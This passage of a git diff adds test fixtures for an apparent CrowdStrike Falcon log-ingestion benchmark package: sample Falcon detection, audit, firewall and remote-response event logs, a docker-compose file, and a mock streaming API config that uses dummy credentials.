+{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":70683,"eventType":"UserActivityAuditEvent","eventCreationTime":1595248885000,"version":"1.0"},"event":{"UserId":"Crowdstrike","UserIp":"","OperationName":"quarantined_file_update","ServiceName":"quarantined_files","AuditKeyValues":[{"Key":"quarantined_file_id","ValueString":"ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21"},{"Key":"action_taken","ValueString":"quarantined"}],"UTCTimestamp":1595248885}} +{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57217,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1595006093000,"version":"1.0"},"event":{"SessionId":"330633db-1cda-4355-b0d8-2c2edc91fe3e","HostnameField":"TESTDEVICE01","UserName":"first.last@company.com","StartTimestamp":1595006093}} +{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57269,"eventType":"RemoteResponseSessionEndEvent","eventCreationTime":1595006899000,"version":"1.0"},"event":{"SessionId":"330633db-1cda-4355-b0d8-2c2edc91fe3e","HostnameField":"TESTDEVICE01","UserName":"first.last@company.com","EndTimestamp":1595006899,"Commands":["cd \\Program Files (x86)\\Symantec","ls .","cd \\Program Files (x86)","ls .","reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default","reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```","reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default","restart","restart -Confirm"]}} +{"metadata":{"customerIDString":"12345a1bc2d34fghi56jk7890lmno12p","offset":57047,"eventType":"DetectionSummaryEvent","eventCreationTime":1595002291000,"version":"1.0"},"event":{"ProcessStartTime":1595002290,"ProcessEndTime":1595002290,"ProcessId":663790158277,"ParentProcessId":627311656469,"ComputerName":"TESTDEVICE01","UserName":"First.last","DetectName":"NGAV","DetectDescription":"This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.","Severity":2,"SeverityName":"Low","FileName":"filename.exe","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path","CommandLine":"\"C:\\ProgramData\\file\\path\\filename.exe\" ","SHA256String":"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb","MD5String":"0ab1235adca04aef6239f5496ef0a5df","SHA1String":"0000000000000000000000000000000000000000","MachineDomain":"NA","ExecutablesWritten":[{"Timestamp":1595002290,"FileName":"NEURO_200_J1939Configuration.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"},{"Timestamp":1595002290,"FileName":"NEURO_200_J1939Configuration.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"},{"Timestamp":1595002290,"FileName":"NEURO_200_J1939CanPackMessage.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"},{"Timestamp":1595002290,"FileName":"NEURO_200_J1939CanPackMessage.mexw64","FilePath":"\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"}],"FalconHostLink":"https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p","SensorId":"1abcd2345b8c4151a0cb45dcfbe6d3d0","IOCType":"hash_sha256","IOCValue":"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb","DetectId":"ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719","LocalIP":"10.1.190.117","MACAddress":"54-ad-d4-d2-a8-0b","Tactic":"Machine Learning","Technique":"Sensor-based ML","Objective":"Falcon Detection Method","PatternDispositionDescription":"Detection, process would have been blocked if related prevention policy setting was enabled.","PatternDispositionValue":2304,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":true,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false},"ParentImageFileName":"\\Device\\HarddiskVolume2\\Windows\\explorer.exe","ParentCommandLine":"C:\\Windows\\Explorer.EXE","GrandparentImageFileName":"\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe","GrandparentCommandLine":"C:\\Windows\\system32\\userinit.exe"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log new file mode 100644 index 0000000000..90117e7174 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-user-activity.log @@ -0,0 +1 @@ +{"metadata":{"customerIDString":"123123abcd","offset":3,"eventType":"UserActivityAuditEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"UserId":"TESTUSERID","UserIp":"175.16.199.1","OperationName":"detection_update","ServiceName":"detections","AuditKeyValues":[{"Key":"detection_id","ValueString":"TESTVALUE:ind:STRING123:456-123-654"}],"UTCTimestamp":1686839378,"Attributes":{"detection_id":"DETECTID:ind:TESTID:456-123-654"}}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log new file mode 100644 index 0000000000..4c9af0cffd --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-falcon-xdr-detection-summary.log @@ -0,0 +1 @@ +{"metadata":{"customerIDString":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","eventCreationTime":1651174243000,"eventType":"XdrDetectionSummaryEvent","offset":34280810,"version":"1.0"},"event":{"Author":"CrowdStrike","DataDomains":"Identity,Network,Endpoint","Description":"Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.","DetectId":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc","EndTimeEpoch":1643317927664000000,"IPv4Addresses":"81.2.69.144,81.2.69.192","HostNames":"XDR-WIN10","Name":"Metasploit and brute force login attempt","PatternId":100011,"Severity":90,"SourceProducts":"Falcon,Corelight","SourceVendors":"CrowdStrike,Corelight","StartTimeEpoch":1643317697728000000,"TacticIds":"TA0001,TA0002","Tactics":"Initial Access,Execution","TechniqueIds":"T1566.001,T1203","Techniques":"Spearphishing Attachment,Exploitation for Client Execution","XdrType":"xdr"}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml new file mode 100644 index 0000000000..70aacaa240 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/docker-compose.yml @@ -0,0 +1,20 @@ +version: '2.3' +services: + crowdstrike-logfile: + image: alpine + volumes: + - ./sample_logs:/sample_logs:ro + - ${SERVICE_LOGS_DIR}:/var/log + command: /bin/sh -c "cp /sample_logs/* /var/log/" + crowdstrike-streaming: + image: docker.elastic.co/observability/stream:v0.18.0 + ports: + - 8080 + volumes: + - ./files:/files:ro + environment: + PORT: 8080 + command: + - http-server + - --addr=:8080 + - --config=/files/config.yml diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml new file mode 100644 index 0000000000..f8f1d24680 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/files/config.yml @@ -0,0 +1,75 @@ +rules: + - path: /oauth2/token + methods: ["POST"] + query_params: + client_id: slightlysecretclientid + client_secret: totallysecretlientsecret + grant_type: client_credentials + request_headers: + Content-Type: + - "application/x-www-form-urlencoded" + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: |- + {{ minify_json ` + { + "access_token": "topsecretaccesstokenthatshouldnotbeleakedforabit", + "token_type": "Bearer" + } + `}} + + - path: /sensors/entities/datafeed/v2 + methods: ["GET"] + request_headers: + authorization: ["Bearer topsecretaccesstokenthatshouldnotbeleakedforabit"] + query_params: + appId: nonsecretappid + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: |- + {{ minify_json ` + { + "resources": [ + { + "dataFeedURL": "http://svc-crowdstrike-streaming:8080/events", + "sessionToken": { + "token": "secretsessiontoken" + }, + "refreshActiveSessionURL": "http://svc-crowdstrike-streaming:8080/refresh", + "refreshActiveSessionInterval": 1800 + } + ] + } + `}} + + - path: /events + methods: ["GET"] + request_headers: + authorization: ["Token secretsessiontoken"] + query_params: + offset: null + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: |- + {"metadata":{"customerIDString":"abcabcabc22221","offset":1,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}} + {"metadata":{"customerIDString":"abcabcabc22222","offset":2,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}} + 400 + {"metadata":{"customerIDString":"abcabcabc22223","offset":3,"eventType":"RemoteResponseSessionStartEvent","eventCreationTime":1698932494000,"version":"1.0"},"event":{"SessionId":"1111-fffff-4bb4-99c1-74c13cfc3e5a","HostnameField":"UKCHUDL00206","UserName":"admin.rose@example.com","StartTimestamp":1698932494,"AgentIdString":"fffffffff33333"}} + + - path: /refresh + methods: ["POST"] + responses: + - status_code: 200 + headers: + Content-Type: + - "application/json" + body: '' diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log new file mode 100644 index 0000000000..1a403c955c --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-audit-events.log @@ -0,0 +1,277 @@ +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 1045, + "eventType": "RemoteResponseSessionStartEvent", + "eventCreationTime": 1582830734000, + "version": "1.0" + }, + "event": { + "SessionId": "6020260b-0398-4d41-999d-5531b55522de", + "HostnameField": "hostnameofmachine", + "UserName": "first.last@company.com", + "StartTimestamp": 1582830734 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 1046, + "eventType": "RemoteResponseSessionEndEvent", + "eventCreationTime": 1582830772000, + "version": "1.0" + }, + "event": { + "SessionId": "6020260b-0398-4d41-999d-5531b55522de", + "HostnameField": "hostnameofmachine", + "UserName": "first.last@company.com", + "EndTimestamp": 1582830772 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 0, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581542950710, + "version": "1.0" + }, + "event": { + "UserId": "api-client-id:1234567890abcdefghijklmnopqrstuvwxyz", + "UserIp": "10.10.0.8", + "OperationName": "streamStarted", + "ServiceName": "Crowdstrike Streaming API", + "Success": true, + "UTCTimestamp": 1581542950, + "AuditKeyValues": [ + { + "Key": "APIClientID", + "ValueString": "1234567890abcdefghijklmnopqr" + }, + { + "Key": "partition", + "ValueString": "0" + }, + { + "Key": "offset", + "ValueString": "-1" + }, + { + "Key": "appId", + "ValueString": "siem-connector-v2.0.0" + }, + { + "Key": "eventType", + "ValueString": "[UserActivityAuditEvent HashSpreadingEvent RemoteResponseSessionStartEvent RemoteResponseSessionEndEvent DetectionSummaryEvent AuthActivityAuditEvent]" + } + ] + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 1, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581543577147, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "twoFactorAuthenticate", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581543577147 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 2, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581545677554, + "version": "1.0" + }, + "event": { + "UserId": "bob@company.com", + "UserIp": "192.168.6.3", + "OperationName": "twoFactorAuthenticate", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581545677554 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 3, + "eventType": "UserActivityAuditEvent", + "eventCreationTime": 1581546248000, + "version": "1.0" + }, + "event": { + "UserId": "chris@company.com", + "UserIp": "192.168.6.13", + "OperationName": "update_group", + "ServiceName": "groups", + "AuditKeyValues": [ + { + "Key": "group_id", + "ValueString": "3c80ce30b9654cb4bd15beec6a517e65" + }, + { + "Key": "action_name", + "ValueString": "add_group_member" + } + ], + "UTCTimestamp": 1581546248 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 4, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581601312140, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "requestResetPassword", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581601312140, + "AuditKeyValues": [ + { + "Key": "target_name", + "ValueString": "alice@company.com" + } + ] + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 5, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581601341730, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "twoFactorAuthenticate", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581601341730 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 6, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581601520236, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "changePassword", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581601520236, + "AuditKeyValues": [ + { + "Key": "target_name", + "ValueString": "first.last@company.com" + } + ] + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 7, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581601572362, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "userAuthenticate", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581601572362 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 8, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581601814754, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "twoFactorAuthenticate", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581601814754 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 9, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1581601820289, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "selfAcceptEula", + "ServiceName": "CrowdStrike Authentication", + "Success": true, + "UTCTimestamp": 1581601820289 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 10, + "eventType": "UserActivityAuditEvent", + "eventCreationTime": 1581603262000, + "version": "1.0" + }, + "event": { + "UserId": "alice@company.com", + "UserIp": "192.168.6.8", + "OperationName": "detection_update", + "ServiceName": "detections", + "AuditKeyValues": [ + { + "Key": "detection_id", + "ValueString": "ldt:5a6fd0b7347440cd74cb84855a8aee18:17180539745" + }, + { + "Key": "new_state", + "ValueString": "in_progress" + }, + { + "Key": "assigned_to", + "ValueString": "First Last" + }, + { + "Key": "assigned_to_uid", + "ValueString": "first.last@company.com" + } + ], + "UTCTimestamp": 1581603262 + } +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log new file mode 100644 index 0000000000..0980bf0fb6 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-events.log @@ -0,0 +1,94 @@ +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 294564, + "eventType": "DetectionSummaryEvent", + "eventCreationTime": 1582101000000, + "version": "1.0" + }, + "event": { + "ProcessStartTime": 1536846339, + "ProcessEndTime": 0, + "ProcessId": 38684386611, + "ParentProcessId": 38682494050, + "ComputerName": "alice-laptop", + "UserName": "alice", + "DetectName": "Process Terminated", + "DetectDescription": "Terminated a process related to the deletion of backups, which is often indicative of ransomware activity.", + "Severity": 4, + "SeverityName": "High", + "FileName": "explorer.exe", + "FilePath": "\\Device\\HarddiskVolume1\\Windows", + "CommandLine": "C:\\Windows\\Explorer.EXE", + "SHA256String": "6a671b92a69755de6fd063fcbe4ba926d83b49f78c42dbaeed8cdb6bbc57576a", + "MD5String": "ac4c51eb24aa95b77f705ab159189e24", + "MachineDomain": "CORP-DOMAIN", + "FalconHostLink": "https://falcon.crowdstrike.com/ec86abd353824e96765ecbe18eb4f0b4", + "SensorId": "7c808b4c8878433287eea53d4a8c3268", + "DetectId": "ldt:ec86abd353824e96765ecbe18eb4f0b4:38655257584", + "LocalIP": "192.168.12.51", + "MACAddress": "00-00-00-11-22-33", + "Tactic": "Malware", + "Technique": "Ransomware", + "Objective": "Falcon Detection Method", + "PatternDispositionDescription": "Prevention, process killed.", + "PatternDispositionValue": 16, + "PatternDispositionFlags": { + "Indicator": false, + "Detect": false, + "InddetMask": false, + "SensorOnly": false, + "Rooting": false, + "KillProcess": true, + "KillSubProcess": false, + "QuarantineMachine": false, + "QuarantineFile": false, + "PolicyDisabled": false, + "KillParent": false, + "OperationBlocked": false, + "ProcessBlocked": false + } + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 1824, + "eventType": "IncidentSummaryEvent", + "eventCreationTime": 1583295476766, + "version": "1.0" + }, + "event": { + "IncidentStartTime": 1583295228, + "IncidentEndTime": 1583295470, + "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "State": "open", + "FineScore": 1.2 + } +} +{ + "metadata": { + "customerIDString": "8f69fe9e-b995-4204-95ad-44f9bcf75b6b", + "offset": 22865, + "eventType": "UserActivityAuditEvent", + "eventCreationTime": 1593186952000, + "version": "1.0" + }, + "event": { + "UserId": "Crowdstrike", + "UserIp": "", + "OperationName": "quarantined_file_update", + "ServiceName": "quarantined_files", + "AuditKeyValues": [ + { + "Key": "quarantined_file_id", + "ValueString": "35b35a53da374816a6b471cf09e12019_a076d3121743755f2d4f8d4d5807f0bc013177f7847d09b48e76de88ace08c78" + }, + { + "Key": "action_taken", + "ValueString": "quarantined" + } + ], + "UTCTimestamp": 1593186952 + } +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log new file mode 100644 index 0000000000..87070601c1 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/deploy/docker/sample_logs/falcon-sample.log @@ -0,0 +1,254 @@ +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 70689, + "eventType": "FirewallMatchEvent", + "eventCreationTime": 1595248906000, + "version": "1.0" + }, + "event": { + "DeviceId": "718af202ab2c4ba5b6a5d10d39c0e0a5", + "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p", + "Ipv": "ipv4", + "CommandLine": "", + "ConnectionDirection": "1", + "EventType": "FirewallRuleIP4Matched", + "Flags": { + "Audit": false, + "Log": false, + "Monitor": true + }, + "HostName": "TESTDEVICE01", + "ICMPCode": "", + "ICMPType": "", + "ImageFileName": "", + "LocalAddress": "10.37.60.194", + "LocalPort": "445", + "MatchCount": 1, + "MatchCountSinceLastReport": 1, + "NetworkProfile": "2", + "PID": "206158879910", + "PolicyName": "PROD-FW-Workstations-General", + "PolicyID": "74e7f1552a3a4d90a6d65578642c8584", + "Protocol": "6", + "RemoteAddress": "10.37.60.21", + "RemotePort": "54952", + "RuleAction": "2", + "RuleDescription": "", + "RuleFamilyID": "fec73e96a1bf4481be582c3f89b234fa", + "RuleGroupName": "SMB Rules", + "RuleName": "Inbound SMB Block \u0026 Log Private", + "RuleId": "4877172638743447345", + "Status": "", + "Timestamp": "2020-07-20T12:41:44Z", + "TreeID": "" + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 57181, + "eventType": "IncidentSummaryEvent", + "eventCreationTime": 1595005328414, + "version": "1.0" + }, + "event": { + "IncidentStartTime": 1595005316, + "IncidentEndTime": 1595005316, + "FalconHostLink": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54", + "State": "open", + "FineScore": 0.1, + "LateralMovement": 0 + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 70509, + "eventType": "AuthActivityAuditEvent", + "eventCreationTime": 1595247970093, + "version": "1.0" + }, + "event": { + "UserId": "first.last@company.com", + "UserIp": "67.43.156.15", + "OperationName": "saml2Assert", + "ServiceName": "Crowdstrike Authentication", + "Success": true, + "UTCTimestamp": 1595247970, + "AuditKeyValues": [ + { + "Key": "trace_id", + "ValueString": "b0b33836-555c-4e0e-a5ef-d368f6799f6b" + }, + { + "Key": "actor_user", + "ValueString": "first.last@company.com" + }, + { + "Key": "actor_user_uuid", + "ValueString": "123ab123-abc1-12a1-12a1-12a1ab12a1a1" + }, + { + "Key": "actor_cid", + "ValueString": "123456a1ab1a12abc12ab1234abcd12a" + }, + { + "Key": "target_user", + "ValueString": "first.last@company.com" + } + ] + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 70683, + "eventType": "UserActivityAuditEvent", + "eventCreationTime": 1595248885000, + "version": "1.0" + }, + "event": { + "UserId": "Crowdstrike", + "UserIp": "", + "OperationName": "quarantined_file_update", + "ServiceName": "quarantined_files", + "AuditKeyValues": [ + { + "Key": "quarantined_file_id", + "ValueString": "ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21" + }, + { + "Key": "action_taken", + "ValueString": "quarantined" + } + ], + "UTCTimestamp": 1595248885 + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 57217, + "eventType": "RemoteResponseSessionStartEvent", + "eventCreationTime": 1595006093000, + "version": "1.0" + }, + "event": { + "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e", + "HostnameField": "TESTDEVICE01", + "UserName": "first.last@company.com", + "StartTimestamp": 1595006093 + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 57269, + "eventType": "RemoteResponseSessionEndEvent", + "eventCreationTime": 1595006899000, + "version": "1.0" + }, + "event": { + "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e", + "HostnameField": "TESTDEVICE01", + "UserName": "first.last@company.com", + "EndTimestamp": 1595006899, + "Commands": [ + "cd \\Program Files (x86)\\Symantec", + "ls .", + "cd \\Program Files (x86)", + "ls .", + "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default", + "reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```", + "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default", + "restart", + "restart -Confirm" + ] + } +} +{ + "metadata": { + "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p", + "offset": 57047, + "eventType": "DetectionSummaryEvent", + "eventCreationTime": 1595002291000, + "version": "1.0" + }, + "event": { + "ProcessStartTime": 1595002290, + "ProcessEndTime": 1595002290, + "ProcessId": 663790158277, + "ParentProcessId": 627311656469, + "ComputerName": "TESTDEVICE01", + "UserName": "First.last", + "DetectName": "NGAV", + "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.", + "Severity": 2, + "SeverityName": "Low", + "FileName": "filename.exe", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path", + "CommandLine": "\"C:\\ProgramData\\file\\path\\filename.exe\" ", + "SHA256String": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", + "MD5String": "0ab1235adca04aef6239f5496ef0a5df", + "SHA1String": "0000000000000000000000000000000000000000", + "MachineDomain": "NA", + "ExecutablesWritten": [ + { + "Timestamp": 1595002290, + "FileName": "NEURO_200_J1939Configuration.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" + }, + { + "Timestamp": 1595002290, + "FileName": "NEURO_200_J1939Configuration.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" + }, + { + "Timestamp": 1595002290, + "FileName": "NEURO_200_J1939CanPackMessage.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" + }, + { + "Timestamp": 1595002290, + "FileName": "NEURO_200_J1939CanPackMessage.mexw64", + "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder" + } + ], + "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p", + "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0", + "IOCType": "hash_sha256", + "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb", + "DetectId": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719", + "LocalIP": "10.1.190.117", + "MACAddress": "54-ad-d4-d2-a8-0b", + "Tactic": "Machine Learning", + "Technique": "Sensor-based ML", + "Objective": "Falcon Detection Method", + "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.", + "PatternDispositionValue": 2304, + "PatternDispositionFlags": { + "Indicator": false, + "Detect": false, + "InddetMask": false, + "SensorOnly": false, + "Rooting": false, + "KillProcess": false, + "KillSubProcess": false, + "QuarantineMachine": false, + "QuarantineFile": false, + "PolicyDisabled": true, + "KillParent": false, + "OperationBlocked": false, + "ProcessBlocked": true, + "RegistryOperationBlocked": false, + "CriticalProcessDisabled": false, + "BootupSafeguardEnabled": false, + "FsOperationBlocked": false + }, + "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe", + "ParentCommandLine": "C:\\Windows\\Explorer.EXE", + "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe", + "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe" + } +} diff --git 